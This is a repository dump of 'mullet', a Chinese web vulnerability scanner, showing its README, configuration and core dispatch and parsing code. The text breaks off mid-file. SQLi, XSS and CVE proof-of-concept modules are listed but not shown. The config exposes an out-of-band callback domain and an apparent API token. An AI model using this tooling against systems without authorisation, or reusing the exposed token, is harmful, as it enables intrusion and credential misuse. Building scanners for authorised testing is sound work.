├── .gitignore ├── README.md ├── api.py ├── config ├── config.ini └── report_template.html ├── imgs ├── api.jpg ├── sqli.jpg ├── 主动扫描.jpg ├── 主动扫描1.jpg ├── 主动扫描2.jpg ├── 使用.jpg ├── 报告.jpg └── 被动扫描.jpg ├── lib ├── cmd_parser.py ├── controller.py ├── data.py ├── filter.py ├── html_parser.py ├── http_parser.py ├── jscontext.py ├── log.py ├── proxy.py ├── rate.py ├── reverse.py ├── utils.py └── work.py ├── main.py ├── plugins ├── fingerprint │ ├── fingerprint.py │ └── scripts │ │ ├── base.py │ │ └── framework │ │ ├── django.py │ │ ├── fp_flask.py │ │ ├── shiro.py │ │ ├── springboot.py │ │ ├── struts2.py │ │ └── thinkphp.py ├── general │ ├── general.py │ └── scripts │ │ ├── js_sensitive.py │ │ ├── jsonp.py │ │ ├── sqli.py │ │ ├── sqli │ │ ├── boolean_blind.xml │ │ ├── boundaries.xml │ │ ├── error_based.xml │ │ ├── errors.xml │ │ └── time_blind.xml │ │ └── xss.py ├── poc │ ├── base.py │ ├── poc_scan.py │ └── pocs │ │ ├── shiro │ │ └── shiro_default_key.py │ │ ├── spring │ │ ├── CVE-2022-22947.py │ │ └── spring_0daya.py │ │ ├── struts2 │ │ ├── s2_057.py │ │ ├── s2_059.py │ │ └── s2_061.py │ │ └── thinkphp │ │ └── ThinkPHP5_5_0_22.py ├── report.py ├── scan.py └── sensitive_info │ ├── sensitive_info.py │ └── sensitive_info.txt └── requirements.txt /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib64/ 18 | parts/ 19 | sdist/ 20 | var/ 21 | wheels/ 22 | pip-wheel-metadata/ 23 | share/python-wheels/ 24 | *.egg-info/ 25 | .installed.cfg 26 | *.egg 27 | MANIFEST 28 | 29 | # PyInstaller 30 | # Usually these files are written by a python script from a template 31 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 32 | *.manifest 33 | *.spec 34 | 35 | # Installer logs 36 | pip-log.txt 37 | pip-delete-this-directory.txt 38 | 39 | # Unit test / coverage reports 40 | htmlcov/ 41 | .tox/ 42 | .nox/ 43 | .coverage 44 | .coverage.* 45 | .cache 46 | nosetests.xml 47 | coverage.xml 48 | *.cover 49 | *.py,cover 50 | .hypothesis/ 51 | .pytest_cache/ 52 | 53 | # Translations 54 | *.mo 55 | *.pot 56 | 57 | # Django stuff: 58 | *.log 59 | local_settings.py 60 | db.sqlite3 61 | db.sqlite3-journal 62 | 63 | # Flask stuff: 64 | instance/ 65 | .webassets-cache 66 | 67 | # Scrapy stuff: 68 | .scrapy 69 | 70 | # Sphinx documentation 71 | docs/_build/ 72 | 73 | # PyBuilder 74 | target/ 75 | 76 | # Jupyter Notebook 77 | .ipynb_checkpoints 78 | 79 | # IPython 80 | profile_default/ 81 | ipython_config.py 82 | 83 | # pyenv 84 | .python-version 85 | 86 | # pipenv 87 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 88 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 89 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 90 | # install all needed dependencies. 91 | #Pipfile.lock 92 | 93 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow 94 | __pypackages__/ 95 | 96 | # Celery stuff 97 | celerybeat-schedule 98 | celerybeat.pid 99 | 100 | # SageMath parsed files 101 | *.sage.py 102 | 103 | # Environments 104 | .env 105 | .venv 106 | env/ 107 | venv/ 108 | ENV/ 109 | env.bak/ 110 | venv.bak/ 111 | 112 | # Spyder project settings 113 | .spyderproject 114 | .spyproject 115 | 116 | # Rope project settings 117 | .ropeproject 118 | 119 | # mkdocs documentation 120 | /site 121 | 122 | # mypy 123 | .mypy_cache/ 124 | .dmypy.json 125 | dmypy.json 126 | 127 | # Pyre type checker 128 | .pyre/ 129 | log/ 130 | /venv 131 | 132 | *.db 133 | output 134 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 6 | # mullet 7 | 扫描器 梭鱼 8 | 支持主动 被动扫描的方式 9 | 10 | 被动通过 mitm 支持 所以需要安装证书 11 | `安装证书 代理开启后访问 http://mitm.it/` 12 | 13 | poc是跟指纹关联的 指纹匹配了才会发对应的poc 14 | 15 | 采用统一请求的方式 限流 所有发的请求都会被限流 16 | 内部多个插件使用多生产多消费的模式 17 | 18 | 19 | ## 安装 20 | 21 | 仅支持python3的环境 22 | 23 | ```shell 24 | git clone git@github.com:Ciyfly/mullet.git 25 | cd mullet 26 | python3 -m venv venv 27 | source venv 28 | pip install --upgrade pip 29 | pip install -r requirements.txt 30 | python main.py --help 31 | ``` 32 | 33 | ## 使用 34 | 35 | ![avatar](imgs/使用.jpg) 36 | 37 | ### 主动扫描 38 | `python main.py -u "http://192.168.19.144:8080/level1.php?name=asdasdasd"` 39 | 40 | ![avatar](imgs/主动扫描1.jpg) 41 | ![avatar](imgs/主动扫描2.jpg) 42 | 43 | 44 | 45 | ### 被动扫描 46 | 47 | 默认监听`8686` 端口 48 | `python main.py` 49 | 50 | ![avatar](imgs/被动扫描.jpg) 51 | 52 | ## 报告 53 | 输出报告是html格式的在 output目录下 54 | 55 | ![avatar](imgs/报告.jpg) 56 | 57 | ## api 58 | 支持 web 的api形式 创建扫描 默认监听`8787`端口 59 | api 会先随机生成token api需要携带toekn参数才能创建任务 60 | 61 | server `python api.py` 62 | client 63 | ```shell 64 | curl -X POST \ 65 | http://192.168.19.144:8787/scan/ \ 66 | -H 'content-type: application/json' \ 67 | -d '{ 68 | "url":"http://192.168.19.144:8080/level1.php?name=asdasdasd", 69 | "token": "ncsgaqvuliehomfk" 70 | }' 71 | ``` 72 | 73 | ![avatar](imgs/api.jpg) 74 | 75 | 76 | ## 检测 77 | 通用检测 78 | 79 | - sqli 80 | - xss 81 | - jsonp 82 | 83 | 指纹 84 | 85 | 指纹采用的是单个脚本的形式 有一些特殊情况靠配置文件或者json不好处理 86 | 87 | - shiro 88 | - struts2 89 | - thinkphp 90 | 91 | poc 92 | 93 | - shiro_default_key 94 | - spring CVE-2022-22947 95 | - s2_061 96 | - s2_059 97 | - s2_057 98 | - ThinkPHP5_5_0_22 99 | 100 | 101 | ## 配置文件 102 | 配置文件在 config/config.ini 103 | ```ini 104 | [options] 105 | ; model=debug 106 | model=info 107 | [reverse] 108 | ceye_domain=y9be3e.ceye.io 109 | ceye_token=e3764fbde6dad1a2a8fd85be90ba42c9 110 | 111 | ; 插件的开关控制 112 | [switch] 113 | fingerprint=False 114 | sensitive_info=False 115 | general=True 116 | poc=False 117 | ; 通用插件的开关 118 | [switch_general] 119 | ; list=jsfind,jsonp,sqli,xss,js_sensitive 120 | list=xss 121 | 122 | # 速率限制 123 | [rate] 124 | max_calls=10 125 | period=1 126 | # 网络请求的默认超时时间 127 | timeout=3 128 | 129 | # 白名单 130 | [white_list] 131 | list=google.com,gov.cn,googleapis.com,github.com 132 | ``` 133 | ## 参考 134 | https://github.com/w-digital-scanner/w13scan/ 135 | https://github.com/sqlmapproject/sqlmap 136 | https://mp.weixin.qq.com/s?__biz=MzU2NzcwNTY3Mg==&mid=2247483698&idx=1&sn=9733c6078516c34963a4c0486c6d1872&chksm=fc986815cbefe103975c2e554ef2667b931e14b2d1dcca407af9edbad83ea72f3ac88efd8d22&mpshare=1&scene=1&srcid=&sharer_sharetime=1588849508551&sharer_shareid=19604935512cdb60a84a4a498605fc8d&key=e4739a048b456af8bbf436c6fb2173754f53fcd63e766a439186e0a2433cd084a69e23876cc446623cb005c3c9fed06af918b7b082f604e7a23c136961d5a1e633f4a60b65b241dea730f7c13578ea94&ascene=1&uin=MTM3MzQ3ODE0MA%3D%3D&devicetype=Windows+10&version=62080079&lang=zh_CN&exportkey=AZ%2F8pd18PHTzKD6ytyi7PPk%3D&pass_ticket=ssxjxDrN0aRCdy2TGXV37%2Bg0cYgtEknB95Y1dXjxGOtpxjCYC6wfPOq5QXvs3lzE 137 | 138 | ## 声明 139 | 使用mullet前请遵守当地法律,mullet仅提供给教育行为使用。 140 | -------------------------------------------------------------------------------- /api.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # coding=utf-8 3 | ''' 4 | Date: 2022-03-31 16:17:16 5 | LastEditors: recar 6 | LastEditTime: 2022-03-31 17:16:02 7 | ''' 8 | 9 | from flask import Flask, request, jsonify 10 | from lib.data import controller 11 | from lib.http_parser import HTTPParser 12 | from lib.utils import Utils 13 | from lib.log import logger 14 | 15 | app = Flask('mullet') 16 | TOKEN = Utils.gen_random_str(16) 17 | 18 | controller.init(block=True) 19 | 20 | @app.route('/scan/', methods=['POST']) 21 | def scan(): 22 | data = request.get_json() 23 | url = data.get("url") 24 | data_token = data.get("token") 25 | if data_token is None or data_token!=TOKEN: 26 | return jsonify({ 27 | "code": 201, 28 | "message": "Invalid token" 29 | }) 30 | rsp, req = HTTPParser.get_res_req_by_url(url) 31 | url_info = HTTPParser.req_to_urlinfo(req) 32 | controller.run(url_info, req, rsp) 33 | return jsonify({ 34 | "code": 200, 35 | "message": "Add success" 36 | }) 37 | 38 | if __name__ == '__main__': 39 | logger.info("TOKEN: {0}".format(TOKEN)) 40 | logger.info("Mullet api ") 41 | app.run(host='0.0.0.0', port=8787) 42 | -------------------------------------------------------------------------------- /config/config.ini: -------------------------------------------------------------------------------- 1 | [options] 2 | ; model=debug 3 | model=info 4 | [reverse] 5 | ceye_domain=y9be3e.ceye.io 6 | ceye_token=e3764fbde6dad1a2a8fd85be90ba42c9 7 | 8 | ; 插件的开关控制 9 | [switch] 10 | ; fingerprint=True 11 | fingerprint=True 12 | sensitive_info=True 13 | general=True 14 | poc=True 15 | ; 通用插件的开关 16 | [switch_general] 17 | list=jsfind,jsonp,sqli,xss,js_sensitive 18 | ; list=xss 19 | 20 | # 速率限制 21 | [rate] 22 | max_calls=10 23 | period=1 24 | timeout=3 25 | 26 | # 白名单 27 | [white_list] 28 | list=google.com,gov.cn,googleapis.com,github.com -------------------------------------------------------------------------------- /config/report_template.html: -------------------------------------------------------------------------------- 1 | 6 | 7 | 8 | 9 | Mullet Report 10 | 11 | 49 | 50 | 51 |

52 | Mullet Report 53 |

54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | {% for item in items %} 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | {% endfor %} 77 | 78 |
pluginspayloadurldescreqrsp
{{item.plugins}}{{item.payload}}{{item.url}}{{item.desc}}
{{item.req}}
{{item.rsp}}
79 | 80 | -------------------------------------------------------------------------------- /imgs/api.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ciyfly/mullet/f03ed84bb24447e88497a845b3a429621fa65670/imgs/api.jpg -------------------------------------------------------------------------------- /imgs/sqli.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ciyfly/mullet/f03ed84bb24447e88497a845b3a429621fa65670/imgs/sqli.jpg -------------------------------------------------------------------------------- /imgs/主动扫描.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ciyfly/mullet/f03ed84bb24447e88497a845b3a429621fa65670/imgs/主动扫描.jpg -------------------------------------------------------------------------------- /imgs/主动扫描1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ciyfly/mullet/f03ed84bb24447e88497a845b3a429621fa65670/imgs/主动扫描1.jpg -------------------------------------------------------------------------------- /imgs/主动扫描2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ciyfly/mullet/f03ed84bb24447e88497a845b3a429621fa65670/imgs/主动扫描2.jpg -------------------------------------------------------------------------------- /imgs/使用.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ciyfly/mullet/f03ed84bb24447e88497a845b3a429621fa65670/imgs/使用.jpg -------------------------------------------------------------------------------- /imgs/报告.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ciyfly/mullet/f03ed84bb24447e88497a845b3a429621fa65670/imgs/报告.jpg -------------------------------------------------------------------------------- /imgs/被动扫描.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ciyfly/mullet/f03ed84bb24447e88497a845b3a429621fa65670/imgs/被动扫描.jpg -------------------------------------------------------------------------------- /lib/cmd_parser.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # coding=utf-8 3 | ''' 4 | Date: 2022-01-12 16:28:33 5 | LastEditors: recar 6 | LastEditTime: 2022-04-07 11:34:53 7 | ''' 8 | from cmath import log 9 | from lib.data import controller 10 | from lib.http_parser import HTTPParser 11 | from lib.proxy import proxy_run 12 | from lib.log import logger 13 | import logging 14 | import click 15 | import os 16 | 17 | @click.command() 18 | @click.option('-s', 'server_addr', type=str, default="0.0.0.0:8686", help='listen server addr defalut 0.0.0.0:8686') 19 | @click.option('-v', '--violent', is_flag=True, help="violent test") 20 | @click.option('-u', '--url', type=str, help="Do it directly without using proxy mode") 21 | @click.option('-f', '--url_file', type=str, help="scan target file") 22 | @click.option('-p', '--poc', type=str, help="run poc") 23 | @click.option('--debug/--no-debug', help="log level set debug default False") 24 | def cli(server_addr, violent, url, url_file, poc, debug): 25 | # set log level 26 | if debug: 27 | logger.setLevel(logging.DEBUG) 28 | # violent 强力测试模式 29 | if violent: 30 | logger.info("开启强力测试模式") 31 | # url 32 | urls = list() 33 | if url or url_file: 34 | controller.init(block=False, violent=violent) 35 | # 主动扫描推任务到controller 36 | if url_file: 37 | if os.path.exists(url_file): 38 | with open(url_file, 'r') as f: 39 | for line in f: 40 | urls.append(line.strip()) 41 | else: 42 | click.echo("url_file is not exists") 43 | click.exit() 44 | if url: 45 | urls.append(url) 46 | # 单个poc 47 | if poc: 48 | logger.info("Run Poc: {0}".format(poc)) 49 | for url in urls: 50 | rsp, req = HTTPParser.get_res_req_by_url(url) 51 | if rsp is None: 52 | logger.error("{0} :不能访问".format(url)) 53 | continue 54 | url_info = HTTPParser.req_to_urlinfo(req) 55 | controller.run_poc(url_info, req, rsp, poc) 56 | # scan 57 | elif not poc and urls: 58 | logger.info("mode: Scan") 59 | for url in urls: 60 | rsp, req = HTTPParser.get_res_req_by_url(url) 61 | if rsp is None and req is None: 62 | logger.error("{0} :不能访问".format(url)) 63 | continue 64 | url_info = HTTPParser.req_to_urlinfo(req) 65 | controller.run(url_info, req, rsp) 66 | logger.info("end") 67 | 68 | else: 69 | logger.info("mode: Proxy") 70 | # 被动扫描 71 | controller.init(violent=violent) 72 | addr, port = server_addr.split(":") 73 | proxy_run(addr, int(port)) 74 | 75 | -------------------------------------------------------------------------------- /lib/controller.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # coding=utf-8 3 | ''' 4 | Date: 2022-01-12 11:05:17 5 | LastEditors: recar 6 | LastEditTime: 2022-04-07 16:27:25 7 | ''' 8 | from lib.work import Worker 9 | from plugins.report import Report 10 | from plugins.fingerprint.fingerprint import Fingerprint 11 | from plugins.sensitive_info.sensitive_info import SensitiveInfo 12 | from plugins.general.general import General 13 | from plugins.poc.poc_scan import PocScan 14 | from lib.log import logger 15 | import configparser 16 | import time 17 | import sys 18 | import os 19 | 20 | 21 | 22 | class Controller(object): 23 | def __init__(self,): 24 | self.domains = dict() 25 | self.urls = dict() 26 | self.logger = logger 27 | self.base_path = os.path.dirname(os.path.abspath(__file__)) 28 | self.plugins_dir = os.path.join(self.base_path, "../", 'plugins') 29 | self.general_plugins_dir = os.path.join(self.plugins_dir, "general") 30 | self.pocs_dir = os.path.join(self.plugins_dir, "poc", "pocs") 31 | 32 | # 类注册到sys pth 33 | # 通用 34 | sys.path.append(self.general_plugins_dir) 35 | sys.path.append(self.pocs_dir) 36 | # load config 37 | self.load_config() 38 | 39 | def load_config(self): 40 | config_path = os.path.join(self.base_path, "../", "config", "config.ini") 41 | conf = configparser.ConfigParser() 42 | conf.read(config_path) 43 | self.switch_fingerprint = conf.getboolean('switch', 'fingerprint') 44 | self.switch_sensitive_info = conf.getboolean('switch', 'sensitive_info') 45 | self.switch_general = conf.getboolean('switch', 'general') 46 | self.switch_poc = conf.getboolean('switch', 'poc') 47 | # 通用插件的开启列表 48 | self.switch_general_list = conf.get('switch_general', 'list').split(",") 49 | # 白名单 50 | self.white_list = conf.get('white_list', 'list').split(",") 51 | 52 | def init(self, block=True, violent=False): 53 | self.logger.debug("Controller Init ") 54 | # 启动报告模块 55 | self.report = Report() 56 | # 阻塞状态 True的话是被动代理 False的话是主动扫描 57 | self.block = block 58 | # 是否开启强力模式 59 | self.violent=violent 60 | # 报告 61 | self.report_work = self.report.report_work 62 | # 指纹 63 | if self.switch_fingerprint: 64 | self.fingerprint_handler = Fingerprint(self.report_work, block=self.block) 65 | # 敏感信息 66 | if self.switch_sensitive_info: 67 | self.sensitiveInfo_handler = SensitiveInfo(self.report_work, block=self.block) 68 | # 通用检测模块 69 | # if self.block: 70 | if self.switch_general: 71 | self.general_plugins_handler = General(self.report_work, block=self.block) 72 | # poc 模块 73 | if self.switch_poc: 74 | self.poc_handler = PocScan(self.report_work, block=self.block) 75 | 76 | 77 | def print_task_queue(self): 78 | while True: 79 | task_info = "" 80 | for plugins, queue in self.task_queue_map.items(): 81 | task_info +="|{0}:{1}|".format(plugins, queue.qsize()) 82 | sys.stdout.write("\r{0}".format(task_info)) 83 | sys.stdout.flush() 84 | time.sleep(0.5) 85 | 86 | # 入口分发任务 87 | def run(self, url_info, req, rsp): 88 | # 这里忽略白名单 89 | for domain in self.white_list: 90 | if domain in url_info.get('origin_url'): 91 | return 92 | domain = url_info.get('host') 93 | gener_url = url_info.get("gener_url") 94 | self.logger.debug("block: {0}".format(self.block)) 95 | if domain not in self.domains: 96 | self.logger.debug("Domain: {0}".format(domain)) 97 | self.domains[domain]="" 98 | # 推指纹 99 | if self.switch_fingerprint: 100 | self.logger.debug("fingerprint") 101 | self.fingerprint_handler.run(url_info, req, rsp) 102 | # 推敏感信息扫描 103 | if self.switch_sensitive_info: 104 | self.logger.debug("sensitiveInfo") 105 | self.sensitiveInfo_handler.run(url_info, req, rsp) 106 | # 被动代理模式才用通用插件 107 | # if self.block and gener_url not in self.urls: 108 | if gener_url not in self.urls: 109 | self.logger.debug("general") 110 | self.urls[gener_url]="" 111 | # 推通用插件 112 | if self.switch_general: 113 | self.logger.debug("switch_general") 114 | self.general_plugins_handler.run(url_info, req, rsp, self.switch_general_list, violent=self.violent) 115 | # 主动扫描的话阻塞任务 116 | if not self.block: 117 | if self.switch_fingerprint: 118 | while not self.fingerprint_handler.fingerprint_work.is_end(): 119 | time.sleep(3) 120 | if self.switch_sensitive_info: 121 | while not self.sensitiveInfo_handler.seninfo_work.is_end(): 122 | time.sleep(3) 123 | if self.switch_general: 124 | while not self.general_plugins_handler.general_work.is_end(): 125 | time.sleep(3) 126 | if self.switch_poc: 127 | for result_info in self.report.result_list: 128 | plugins = result_info.plugins 129 | if plugins == "fingerprint": 130 | payload = result_info.payload 131 | self.logger.debug("fingerprint: {0} ->poc".format(payload)) 132 | self.poc_handler.run(url_info, req, rsp, payload) 133 | if self.switch_poc and self.switch_fingerprint: 134 | if hasattr(self.poc_handler, "poc_work"): 135 | while not self.poc_handler.poc_work.is_end(): 136 | time.sleep(3) 137 | return 138 | 139 | def run_poc(self, url_info, req, rsp, poc_name): 140 | self.poc_handler.run_poc_by_name(url_info, req, rsp, poc_name) 141 | self.logger.info("poc run over") 142 | -------------------------------------------------------------------------------- /lib/data.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # coding=utf-8 3 | ''' 4 | Date: 2022-01-14 15:23:56 5 | LastEditors: recar 6 | LastEditTime: 2022-03-21 15:53:47 7 | ''' 8 | from lib.controller import Controller 9 | controller = Controller() 10 | -------------------------------------------------------------------------------- /lib/filter.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # coding=utf-8 3 | ''' 4 | Date: 2021-03-23 15:51:56 5 | LastEditors: recar 6 | LastEditTime: 2022-03-29 14:40:57 7 | ''' 8 | from lib.http_parser import HTTPParser 9 | from lib.data import controller 10 | from lib.log import logger 11 | import sys 12 | sys.path.append('../') 13 | 14 | class Filter(object): 15 | @staticmethod 16 | def parser_request(flow): 17 | del flow.request.headers['Accept-Encoding'] 18 | 19 | @staticmethod 20 | def parser_response(flow): 21 | url_info = HTTPParser.flow_to_urlinfo(flow) 22 | req = HTTPParser.flow_to_req(flow) 23 | rsp = HTTPParser.flow_to_rsp(flow) 24 | # check 25 | if not url_info: 26 | return 27 | logger.debug("[*] url: {0} type: {1}".format(url_info["url"], url_info['type'])) 28 | # 过滤白名单 29 | # insert url 30 | controller.run(url_info, req, rsp) 31 | 32 | 33 | 34 | -------------------------------------------------------------------------------- /lib/html_parser.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # @Time : 2020/4/8 10:07 AM 4 | # @Author : w8ay 5 | # @File : htmlparser.py 6 | import random 7 | from abc import ABC 8 | 9 | from html.parser import HTMLParser 10 | 11 | import pyjsparser 12 | 13 | from lib.jscontext import analyse_js 14 | 15 | 16 | def random_upper(text: str): 17 | ''' 18 | 将文本随机大写翻转 19 | :param text: 20 | :return: 21 | ''' 22 | length = len(text) 23 | for i in range(length // 2): 24 | rand = random.randint(0, length - 1) 25 | while text[rand].isupper(): 26 | rand = random.randint(0, length - 1) 27 | temp = text[rand].upper() 28 | text = text[0:rand] + temp + text[rand + 1:] 29 | return text 30 | 31 | 32 | class MyHTMLParser(HTMLParser, ABC): 33 | def __init__(self): 34 | super().__init__() 35 | self.tree = [] 36 | self.tokenizer = [] 37 | self.root = None 38 | temp = { 39 | "tagname": "", 40 | "content": "", 41 | "attibutes": [] 42 | } 43 | 44 | def handle_starttag(self, tag, attrs): 45 | if len(self.tree) == 0: 46 | self.root = tag 47 | self.tree.append( 48 | { 49 | "tagname": tag, 50 | "content": "", 51 | "attibutes": attrs 52 | } 53 | ) 54 | 55 | def handle_endtag(self, tag): 56 | if len(self.tree) > 0: 57 | r = self.tree.pop() 58 | self.tokenizer.append(r) 59 | 60 | def handle_startendtag(self, tag, attrs): 61 | self.handle_starttag(tag, attrs) 62 | self.handle_endtag(tag) 63 | 64 | def handle_data(self, data): 65 | if self.tree: 66 | self.tree[-1]["content"] += data 67 | 68 | def handle_comment(self, data): 69 | self.tokenizer.append({ 70 | "tagname": "#comment", 71 | "content": data, 72 | "attibutes": [] 73 | }) 74 | 75 | def getTokenizer(self): 76 | while len(self.tree): 77 | r = self.tree.pop() 78 | self.tokenizer.append(r) 79 | return self.tokenizer 80 | 81 | 82 | def getParamsFromHtml(html): 83 | parse = MyHTMLParser() 84 | parse.feed(html) 85 | tokens = parse.getTokenizer() 86 | result = set() 87 | for token in tokens: 88 | tagname = token["tagname"].lower() 89 | if tagname == "input": 90 | for attibute in token["attibutes"]: 91 | key, value = attibute 92 | if key == "name": 93 | result.add(value) 94 | break 95 | elif tagname == "script": 96 | content = token["content"] 97 | try: 98 | nodes = pyjsparser.parse(content).get("body", []) 99 | except pyjsparser.pyjsparserdata.JsSyntaxError as e: 100 | return [] 101 | result |=set(analyse_js(nodes)) 102 | return list(result) 103 | 104 | 105 | def SearchInputInResponse(input, body): 106 | parse = MyHTMLParser() 107 | parse.feed(body) 108 | tokens = parse.getTokenizer() 109 | index = 0 110 | occurences = [] 111 | for token in tokens: 112 | tagname = token["tagname"] 113 | content = token["content"] 114 | attibutes = token["attibutes"] 115 | _input = input 116 | origin_length = len(occurences) 117 | 118 | if _input in tagname: 119 | occurences.append({ 120 | "type": "intag", 121 | "position": index, 122 | "details": token, 123 | }) 124 | elif input in content: 125 | if tagname == "#comment": 126 | occurences.append({ 127 | "type": "comment", 128 | "position": index, 129 | "details": token, 130 | }) 131 | elif tagname == "script": 132 | occurences.append({ 133 | "type": "script", 134 | "position": index, 135 | "details": token, 136 | }) 137 | elif tagname == "style": 138 | occurences.append({ 139 | "type": "html", 140 | "position": index, 141 | "details": token, 142 | }) 143 | else: 144 | occurences.append({ 145 | "type": "html", 146 | "position": index, 147 | "details": token, 148 | }) 149 | else: 150 | # 判断是在name还是value上 151 | for k, v in attibutes: 152 | content = None 153 | if _input in k: 154 | content = "key" 155 | elif v and _input in v: 156 | content = "value" 157 | 158 | if content: 159 | occurences.append({ 160 | "type": "attibute", 161 | "position": index, 162 | "details": {"tagname": tagname, "content": content, "attibutes": [(k, v)]}, 163 | }) 164 | if len(occurences) > origin_length: 165 | index += 1 166 | return occurences 167 | -------------------------------------------------------------------------------- /lib/http_parser.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # coding=utf-8 3 | ''' 4 | Date: 2022-01-14 11:29:39 5 | LastEditors: recar 6 | LastEditTime: 2022-04-07 11:40:59 7 | ''' 8 | from urllib.parse import unquote 9 | from urllib.parse import urlparse, parse_qs 10 | from lib.utils import Utils 11 | from lib.log import logger 12 | import traceback 13 | import requests 14 | 15 | http_version_map = { 16 | 10: "HTTP/1.0", 17 | 11: "HTTP/1.1" 18 | } 19 | 20 | class HTTPParser(object): 21 | 22 | @staticmethod 23 | def flow_to_urlinfo(flow): 24 | url_info = dict() 25 | url = flow.request.url 26 | url = unquote(url, 'utf-8') 27 | url_suffix = Utils.get_url_suffix(url) 28 | if url_suffix not in [ 29 | "png", "css", "jpg", "svg", 30 | "ttf", "eot", "eot", "woff2", "gif", 31 | "bmp" "svg", "less", "sass", "scss", "ico", 32 | "woff", "md"]: 33 | if url_suffix == "js": 34 | url_info["type"] = "js" 35 | elif url_suffix in ["jsp", "php", "asp", "aspx"]: 36 | url_info["type"] = url_suffix 37 | else: 38 | url_info["type"] = "dynamic" 39 | gener_url = Utils.generalization(url) 40 | url_info["gener_url"] = gener_url 41 | url_info["url"] = url 42 | url_info["origin_url"] = url 43 | # url parse 44 | parse_url = urlparse(url) 45 | url_info["path"] = parse_url.path 46 | url_info["params"] = parse_url.params 47 | url_info["query"] = parse_url.query 48 | url_info["method"] = flow.request.method 49 | url_info["data"] = flow.request.text 50 | url_info["headers"] = flow.request.headers 51 | url_info["json"] = False 52 | req_type = flow.request.headers.get("Content-Type") 53 | if "application/json"==req_type: 54 | url_info["json"] = True 55 | if url_info["method"]=="GET": 56 | url_info["query_dict"] = parse_qs(parse_url.query) 57 | elif url_info["method"]=="POST": 58 | url_info["query_dict"] = parse_qs(url_info["data"]) 59 | url_info["host"] = flow.request.host 60 | url_info["server_port"] = flow.server_conn.ip_address[1] 61 | url_info["server_ip"] = flow.server_conn.ip_address[0] 62 | if "https" in url: 63 | url_info["ssl"] = True 64 | url_info["base_url"] = "https://{0}:{1}".format(url_info["server_ip"], url_info["server_port"]) 65 | else: 66 | url_info["ssl"] = False 67 | url_info["base_url"] = "http://{0}:{1}".format(url_info["server_ip"], url_info["server_port"]) 68 | 69 | 70 | return url_info 71 | 72 | 73 | @staticmethod 74 | def req_to_urlinfo(req): 75 | url_info = dict() 76 | url = req.get('url') 77 | url = unquote(url, 'utf-8') 78 | url_info["origin_url"] = url 79 | url_info["method"] = 'GET' 80 | url_info["url"] = url 81 | parse_url = urlparse(url) 82 | url_info["path"] = parse_url.path 83 | url_info["params"] = parse_url.params 84 | url_info["query"] = parse_url.query 85 | url_info["host"] = parse_url.netloc 86 | url_info["query_dict"] = parse_qs(parse_url.query) 87 | if ":" in url_info["host"]: 88 | url_info["ip"] = url_info["host"].split(":")[0] 89 | url_info["port"] = url_info["host"].split(":")[1] 90 | if "https" in url: 91 | url_info["ssl"] = True 92 | url_info["base_url"] = "https://{0}".format(url_info["host"]) 93 | if ":" not in url_info["host"]: 94 | url_info["port"] = 443 95 | else: 96 | url_info["ssl"] = False 97 | url_info["base_url"] = "http://{0}".format(url_info["host"]) 98 | if ":" not in url_info["host"]: 99 | url_info["port"] = url_info["80"] 100 | url_suffix = Utils.get_url_suffix(url) 101 | if url_suffix not in [ 102 | "png", "css", "jpg", "svg", 103 | "ttf", "eot", "eot", "woff2", "gif", 104 | "bmp" "svg", "less", "sass", "scss", "ico", 105 | "woff", "md"]: 106 | if url_suffix == "js": 107 | url_info["type"] = "js" 108 | elif url_suffix in ["jsp", "php", "asp", "aspx"]: 109 | url_info["type"] = url_suffix 110 | else: 111 | url_info["type"] = "dynamic" 112 | gener_url = Utils.generalization(url) 113 | url_info["gener_url"] = gener_url 114 | 115 | return url_info 116 | 117 | @staticmethod 118 | def flow_to_req(flow): 119 | def raw(request): 120 | req_data = '%s %s %s\r\n' % (str(request.method), str(request.path), str(request.http_version)) 121 | # Add headers to the request 122 | for k, v in request.headers.items(): 123 | req_data += k + ': ' + v + '\r\n' 124 | req_data += '\r\n' 125 | req_data += str(request.raw_content) 126 | return req_data 127 | req = dict() 128 | req["host"] = flow.request.host 129 | req["method"] = flow.request.method 130 | req["scheme"] = flow.request.scheme 131 | req["authority"] = flow.request.authority 132 | req["path"] = flow.request.path 133 | req["http_version"] = flow.request.http_version 134 | req["headers"] = flow.request.headers 135 | req["text"] = str(flow.request.content) 136 | req["timestamp_start"] = flow.request.timestamp_start 137 | req["timestamp_end"] = flow.request.timestamp_end 138 | req["raw"] = raw(flow.request) 139 | return req 140 | 141 | @staticmethod 142 | def flow_to_rsp(flow): 143 | rsp = dict() 144 | rsp["status_code"] = flow.response.status_code 145 | rsp["reason"] = flow.response.reason 146 | rsp["headers"] = flow.response.headers 147 | rsp["text"] = str(flow.response.content.decode('utf-8', 'ignore')) 148 | rsp["timestamp_start"] = flow.response.timestamp_start 149 | 